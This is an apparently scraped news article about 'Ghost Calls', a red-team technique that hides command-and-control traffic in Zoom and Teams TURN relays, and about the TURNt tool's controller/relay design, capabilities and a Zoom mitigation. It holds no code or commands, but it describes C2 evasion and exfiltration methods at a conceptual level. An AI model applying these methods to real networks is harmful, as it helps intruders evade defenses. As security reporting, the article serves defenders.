thedfirreport.comSep 29, 2025extracted
New Ghost Calls tactic abuses Zoom and Microsoft Teams for C2 operations
A new post-exploitation command-and-control (C2) evasion method called 'Ghost Calls' abuses TURN servers used by conferencing apps like Zoom and Microsoft Teams to tunnel traffic through trusted infrastructure. Ghost Calls uses legitimate credentials, WebRTC, and custom tooling to bypass most existing defenses and anti-abuse measures, without relying on an exploit. This new tactic was presented by Praetorian's security researcher Adam Crosser at BlackHat USA, where it was highlighted that the new technique can be used by Red Teams when performing penetration emulation exercises. "We leverage web conferencing protocols, which are designed for real-time, low-latency communication and operate through globally distributed media servers that function as natural traffic relays," reads the presentation's briefing. "This approach allows operators to blend interactive C2 sessions into normal enterprise traffic patterns, appearing as nothing more than a temporarily joined online meeting." How Ghost Calls works TURN (Traversal Using Relays around NAT) is a networking protocol commonly used by video call, VoIP, and WebRTC services that helps devices behind NAT firewalls communicate with each other when a direct connection is not possible. When a Zoom or Teams client joins a meeting, it receives temporary TURN credentials that the Ghost Calls can hijack to set up a TURN-based WebRTC tunnel between the attacker and the victim. This tunnel can then be used to proxy arbitrary data or disguise C2 traffic as regular video conferencing traffic through trusted infrastructure used by Zoom or Teams. As the traffic is routed through legitimate domains and IPs that are widely used in the enterprise, malicious traffic can bypass firewalls, proxies, and TLS inspection. Additionally, WebRTC traffic is encrypted, so it's well hidden. By abusing these tools, attackers also avoid exposing their own domains and infrastructure while enjoying high-performance, reliable connectivity, and the adaptability of using both UDP and TCP over port 443. In comparison, traditional C2 mechanisms are slow, conspicuous, and often lack the real-time exchange capabilities required to facilitate VNC operations. TURNt-ing it Crosser's research culminated with the development of a custom open-source (available on GitHub) utility called 'TURNt' that can be used for tunneling C2 traffic via WebRTC TURN servers provided by Zoom and Teams. TURNt consists of two components, namely a Controller running on the attacker's side, and a Relay deployed on a compromised host. The Controller runs a SOCKS proxy server to accept connections tunneled through TURN. Relay connects back to the Controller using TURN credentials, and sets up a WebRTC data channel through the provider's TURN server. TURNt can perform SOCKS proxying, local or remote port forwarding, data exfiltration, and facilitate hidden VNC (Virtual Network Computing) traffic tunneling. Although Ghost Calls does not exploit any vulnerabilities in Zoom or Microsoft Teams, BleepingComputer has contacted both vendors to ask if they plan to introduce additional safeguards to reduce its feasibility. We will update this post once we receive a response from either. Update 8/9 - A Zoom spokesperson has told BleepingComputer that Zoom pushed a mitigation for this particular technique which only allows TURN infrastructure to pair a client with a media-server and disabled support for peer-to-peer connections through the infrastructure. This wouldn’t be possible in scenarios where providers leverage this infrastructure for peer-to-peer communication, but may be possible in certain instances where this infrastructure is only used for communication with a centralized server. At the moment, Zoom hasn't tested if any workarounds would be possible in this scenario. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comAug 6, 2025extracted